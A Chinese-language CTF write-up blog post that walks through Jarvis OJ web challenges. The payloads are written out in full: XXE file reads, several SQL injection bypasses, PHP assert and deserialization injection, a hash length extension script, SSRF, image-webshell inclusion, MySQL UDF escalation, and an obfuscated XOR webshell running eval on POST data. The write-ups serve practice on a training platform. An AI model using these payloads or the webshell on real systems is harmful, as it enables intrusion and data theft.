No title
Jarvis OJ CTF Writeup

比较好的一个平台,学到了很多,非常推荐.

api调用

  • XXE

提示是请设法获得目标机器/home/ctf/flag.txt中的flag值。

可以利用里面XML注入,中的file

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///home/ctf/flag.txt">]>
<a>&b;</a>

XXE漏洞利用技巧:从XML到远程代码执行

LOCALHOST

localhost access only!!

  • XFF伪造

抓包

X-Forwarded-For:127.0.0.1

PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

PORT51

在vps上使用

sudo curl –local-port 51 http://web.jarvisoj.com:32770/

得到flag

PCTF{M45t3r_oF_CuRl}

Login

抓包后在response中得到hint

1
Hint: "select * from `admin` where password='".md5($pass,true)."'",true代表输出16位二进制数字

要想存在注入,就必须使md5加密后的内容中存在单引号之类的

这里将代码拆开一点,注意单双引号

1
"  select * from `admin` where password=' " .md5($pass,true)."    '        " 

在网上找到了这个字符串ffifdyop,

为什么ffifdyop就是答案,因为ffifdyop的md5的原始二进制字符串里面有‘or’6这一部分的字符

其中这两个单引号就与前面和后面的两个单引号进行闭合,成为

1
"select * from `admin` where password=''6''"

在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。如果只有数字,就不需要单引号闭合

参考链接 https://blog.csdn.net/March97/article/details/81222922

PCTF{R4w_md5_is_d4ng3rous}

[61dctf]admin

  • robots.txt(通过这道题,学到这一点.robots.txt也可能是做一道题的切入点)
  • 抓包改参数0,1

[61dctf]babyphp

  • GIT源码泄露
  • 命令执行
  • PHP语句的闭合

url/.git 无果,使用dirsearch扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";//这里将传递的page参数值拼接进入file
//$file = "templates/" . '.system("cd ../../../; ls -lA;").' . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

//file_exists('"templates/" . '.system("cd ../../../; ls -lA;").' . ".php"')

?>

1
/?page=flag'.system("cat templates/flag.php;").'

然后右键查看源码得到flag

[61dctf]inject

  • Mysql中的反引号与单引号的区别
  • 反引号注入

用dirsearch扫描一下目录,发现一个index.php~

访问这个目录,页面上什么都没有,右键查看源代码

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";//三目运算符,如果条件为真,则执行?:中间的代码,否则执行:后面的代码
$table = Filter($table);//用户自定义的过滤器
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();//desc降序排列
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

反引号`在mysql中是为了区分保留字符与普通字符而引入的符号

本题利用原理:

如果desc 后接的表不存在,则返回失败

注入点为参数table

当table=test时,由于库中存在secret_test表,因此mysqli_query()函数返回成功,继续向下执行,从而输出了flag{xxx}
当table=123时,因为库中不存在secre_123表,因此跳转hacker()函数结束程序

查询数据库,注意要使用limit 1,1 来进行限制输出,ret[0];只输出第一个

查到数据库为61d300

1
?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 #取第二条记录

表为secret_flag,secret_test

1
?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1 //这里就要采用16进制绕过了

字段flagUwillNeverKnow

得到具体的flag

1
?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1

flag{luckyGame~}

参考文章

总结:

SQLi的类型确实很多,今天又见识到了一只反引号注入!

[61dctf][email protected]

使用脚本爆破验证码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import random
import hashlib
import string

string = "abcdefghijklmnopqrstuvwxyz1234567890"

while True:
text = random.sample(string,4)
code = ""
text = code.join(text)
code = hashlib.md5(text).hexdigest()
if code[0:4] == '111b': #这里填写你的字符
print "--------------------------"
print text
print code
break
else:
print code

然后进行抓包分析,可以看到CSP的内容只能加载本域的脚本文件内容

这道题有点难,还是等我把XSS深度学习了再来做

[61dctf][email protected]

…..

我是菜狗

神盾局的秘密

  • 文件读取
  • 反序列化
  • 链构造攻击(*其实也不算)

查看图片,图片名是base64编码的.读取index.php 得到readfile();>说明这里应该是文件读取的功能,因为不知道有哪些文件可以读,然后有现存一个showimg.php那就读取这个文件,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);//判断$f中是否存在.. / \\ pctf,不存在就读取想要读取的文件名,如果存在就 echo "File not found"
} else {
echo "File not found!";
}
}
?>

然后读取index.php 然后我在firefox上代码显示不全,于是想到抓包,果然

1
2
3
4
5
6
7
8
9
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

这里把shield.php序列化得到

1
s:10:"shield.php";

继续利用上面的漏洞.读取shield.php的源码,我这里用firefox仍然在网页上看不全源码,使用抓包看到源码,其实右键查看源码也可以-.-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '')//赋值 {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

这里继续判断传入的文件名中是否存在 .. / 以及\ \

直接利用上面的代码,实例化对象的时候,为期赋值为pctf.php

得到payload为O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}

打进去右键查看源代码就得到flag

1
PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

PHPINFO

  • session反序列化
  • 任意代码执行

关于这个点的学习,参考文章 参考

Session反序列化的原理:

当php.ini文件中的“session.serialize_handler”设置,与在页面中的“session.serialize_handler”设置不一样时,就会可能有反序列化漏洞。

由phpinfo()页面知,session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session.

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';//为成员属性mdzz赋初值为phpinfo();
}


function __destruct()
{
eval($this->mdzz);//反序列化结束的时候利用eval执行其中的代码
}

}
if(isset($_GET['phpinfo']))//设置GET的变量名为phpnifo
{
$m = new OowoO();//如果确认设置了phpinfo,那么就实例化这个类,并赋值给m
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

访问index.php?phpinfo 得到phpinfo的界面,搜索disable_functions

禁用的系统函数有: 因此想利用命令执行是走不通的

dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,chmod,set_time_limit,chroot,error_log,pfsockopen,syslog,symlink,putenv,chgrp,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority等

php 在获取 session 的时候,会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化。

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

为了防止转义,需要在引号前加反斜杠\

然后在payload前加一个|

这是session的格式

接下来就是读取这个文件

1
Here_1s_7he_fl4g_buT_You_Cannot_see.php
1
/opt/lampp/htdocs/

在phpinfo中找到文件存放的路径

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

总结:

  • 对于session反序列化的原理要理解.
  • 以及防止转义的原理.
  • 构造文件上传的那个HTML写法

WEB?

打开题目.在Google中只能找到app.js是作者写的

打开后用sublime test 还原

因为这个页面没有form表单,所以这个app.js中必有实现POST请求的代码,找到代码所在的位置,继续跟进解密

总结:

关于这类题,我的解题能力还是比较弱的-.-

RE?

参考文章:

mysql函数扩展之UDF开发

Adding a User-Defined Function

UDF提权

查看mysql插件的目录

/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

然后将题目所给的附件下载到这个目录里面

1
usr/lib/x86_64-linux-gnu/mariadb19/plugin# wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

登录mysql后,加载getflag函数即可得到flag.但是必须先加载help_me函数

create function getflag returns string soname ‘udf.so.02f8981200697e5eeb661e64797fc172’;

总结:

UDF就是Userdefined function,是用户自定义函数,

UDF就是为了让我们user能够写方便自己的函数,有3种返回值,这三种分别是STRING,INTEGER,REAL

定义格式:

create function function_name returns (strings|integer|real) soname ‘文件名’;

删除自定义函数:

drop function function_name;

IN A Mess

  • eregi()函数存在截断漏洞
  • file_get_contents($a,’r’);可以利用PHP伪协议php://input读取文件流(数据流)
  • 过滤了空格和部分关键字的SQL注入

右键查看源代码,发现index.phps.打开后得到一部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}


?>

payload:

?id=c&a=php://input&b=%0011111

POST的内容如下:

1112 is a nice lab!

得到

/^HT2mCpcvOLf

访问这个目录

1
http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=4%27%20union%20select%201,2,3#

返回 you bad boy/girl! 这里应该是过滤一些字符

1
/index.php?id=4'<>union<>select<>1,2,3#

尝试绕过空格,返回

1
SELECT * FROM content WHERE id=4'<><><>1,2,3

可以看到,union和select都被过滤了.尝试双写绕过

双写绕过确实可行,但是<>绕过空格检测在这道题上不能正确执行sql语句,要想执行正确的sql语句必须使用/**/

用注释取代空格

判断列数

1
http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*123*/ununionion/*123*/seleselectct/*123*/1,2,3#

返回结果为3,那么那么那么说明在3这个位置存在注入

把3改为database(),得到数据库名为test

1
?id=-1/*123*/ununionion/*123*/seleselectct/*123*/1,2,group_concat(table_name)/*1*/frofromm/*1*/information_schema.tables/*1*/where/*1*/table_schema=0x74657374# 这里也可以直接写database(). 不采用16进制绕过

继续查表为content,稍微改一点东西

查表中字段为id,context,title

查具体的flag

1
id=-1/*123*/ununionion/*123*/seleselectct/*123*/1,2,(seleselectct/*123*/context/*123*/frofromm/*13*/content)#

PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

总结:

很好的一道题,当时做到一半以为已经拿到flag的~

这道题的前半部分是以前做过的,所以很容易.就是没有想到把得到那个{}中的内容当做URL.这个鬼脑洞.

以及过滤了哪些关键字的测试,如何绕过.都是以后需要深度学习的.(以后===寒假)

flag在管理员手里

  • 抓包分析,大概就是把guest改为admin,但是无源码就找不到入口
  • 目录爆破
  • Vim 临时文件恢复
  • Hash扩展攻击

参考文章

http://www.freebuf.com/articles/web/69264.html

http://www.freebuf.com/articles/web/31756.html

扫到index.php~这个文件 这个文件其实是php的备份文件.

php的备份文件又两种:

php~ 和 php.bak

备份文件常见的格式:

.bak .save .swp ~

将其改为flag.php.swp

来分析一波代码,这里如果auth为true那么就输出flag

为true的条件是什么呢?

1
$role==="admin"&&hsh===md5($salt.strrev($_COOKIE["role"]))

strrev()函数的作用是反转字符串

也就是$salt加上反转后的cookie然后进行md5值满足这个hsh但是我们并不知道salt是多少

hash的原理

进行两次复杂的数学运算,将第一次运算的结果作为register的值再进行第二次运算

然后这里我们不知道salt,但是我们知道md5($salt.反转后的cookie)的值

salt的长度也不知道.需要爆破出salt的长度

1
2
3
4
5
6
7
8
9
10
11
import urllib
import hashpumpy
import requests
url = "http://web.jarvisoj.com:32778/"

for i in range(1,28):
result = hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';"tseug":5:s',';"nimda":5:s',i)
data = {"Host": "web.jarvisoj.com:32778","Cache-Control": "max-age=0","Upgrade-Insecure-Requests": "1","User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Accept-Language":"zh-CN,zh;q=0.9","Cookie":"UM_distinctid=1656bc8a44b150-0acd2220410fbd-323b5b03-144000-1656bc8a44c1ff; role=%s; hsh=%s"%(urllib.quote(result[1] #这段内容可用bp抓包[::-1]),result[0]),"Connection":"close"} #[::-1]取反,这里与strrev对应.%s表示格式化一个对象为字符串
re = requests.get(url, headers = data)
if(re.text.find("Only Admin can see the flag!!") == -1):
print(re.text)

因为要逐个爆破,所以脚本运行的时候要等一下才会出flag

PCTF{H45h_ext3ndeR_i5_easy_to_us3}

总结:

理解hash加密算法原理, MD5 SHA1. 理解hash 扩展攻击的原理,以及进行攻击的必要条件(知道hash1,密钥长度)

可利用场景

Easy Gallery

  • 文件包含
  • 文件上传

上传一个png图片

尝试传一个.htaccess 也提示只能穿JPG和GIF

从题目描述中也可以猜到可能会使用两个或多个漏洞来结合

随便改一个参数index.php?page=sqw

1
2
**Warning**:  fopen(21.php): failed to open stream: No such file or directory in **/opt/lampp/htdocs/index.php** on line **24**
No such file!

说明这里存在文件包含,制作一个图片马.推荐使用JS方式的图片马.,因为大部分会对PHP格式的进行验证.

上传后,得到链接为

1
http://web.jarvisoj.com:32785/uploads/1577946975.jpg

然后再去包含这个文件index.php?page=uploads/1577946975.jpg%00

得到flag

总结:

除了文件上传漏洞常用的绕过方式需要知道外,还需要知道文件上传能和那些漏洞结合,比如文件包含.

Chopper

点进去一个菜刀-.-管理员登录,查看源码给了IP地址 admin ip is 202.5.19.128

从图片的加载链接,来看,是存在类似使用代理跳转的这种东西,这个名字也是我自己瞎编的

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

1
YOU'RE CLOOSING!

扫描目录,有robots.txt(记住这个东西,在CTF题里面太重要了,下次可以不用扫,没进一个新的URL都先看看有没有robots.txt)

访问trojan.php.txt

1
<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

Warning: assert() [function.assert]: Assertion “eval($_POST[360])” failed in D:\phpStudy\PHPTutorial\WWW\CTF\rf.php on line 1

在本地运行后,报错,360应该就是这个密码

然后使用hackbar,POST 一个360过去 就看到了flag 或者 360=system(‘ls’);

总结:SSRF特征,利用方式,常见bypass后期为专门出的.

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

图片上传漏洞

漏洞原理

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的

它定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息。而在后面command的位置,%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。

只能上传图片.扫描目录存在test.php|login.php|config.php|register.php打开其中的test.php是一个phpinfo界面

在学了一波CVE分析文章后,还是做不出来这道题,然后看了一大波WP

其中这个大佬的WP比较详细,然后他还写了一个常驻内存的脚本,循环删除上传的文件..

另一个大佬

但是我上传一个正常的png,并没有被删除,能正常访问

进行两次转义,一次是本地的exiftool命令,一次是漏洞触发时的echo命令

然后上传test.png

然后修改filetype=show或者win,在重新发包,ImageMagick在收到这张图片时就会转换这张的图片的格式,但是无论改什么,返回都是png文件

所以我蚁剑就连不上,拿不到flag!

嫖的flag

CTF(873dfee87823248f4a1657650204697a}

总结:

因为代码用了双引号嵌套,双引号里的双引号需要进行转义不然语法错误

  • 写后门的新姿势
  • CVE漏洞在CTF中的应用复现

Simple Injection

  • bool盲注,如果密码错误就是true,用户名错误就是false
  • Python盲注脚本
  • SQLmap高级用法

用户名,密码随便输,提示用户名错误.输入admin,admin提示密码错误,说明采用的是用户名和密码分布验证的

即先验证用户名再验证密码

当用户名为 admin’#密码错误,说明’#没有被过滤 当输出 admin’ and 1=1#使,用户名错误,说明过滤了空格或者and

1
当输入admin'/*1*/and/*1*/1=1#时,密码错误.说明过滤了空格

因此使用在网上嫖到的盲注脚本跑就行了-.- SB石锤

当然也可以使用SQLmap这个强大的工具!

即 –tamper=space2comment模式可以解决这类问题

查密码为

334cfb59c9d74849801d5acdcfdaadc3

在这里解密

eTAloCrEP

登录进去,得到flag

CTF{s1mpl3_1nJ3ction_very_easy!!}

总结:

不得不说sqlmap 真的很强大,学会使用他可以方便很多,但是SQLi的原理也是必须掌握的.

编写sqli的python脚本,也是需要必须掌握的.寒假加油!

冲!菜狗准备开始深入学习漏洞了,并且保持每天两道攻防世界练习!奥利奥! …奥利给!

Author: m0nk3y
Link: https://hack-for.fun/6247.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.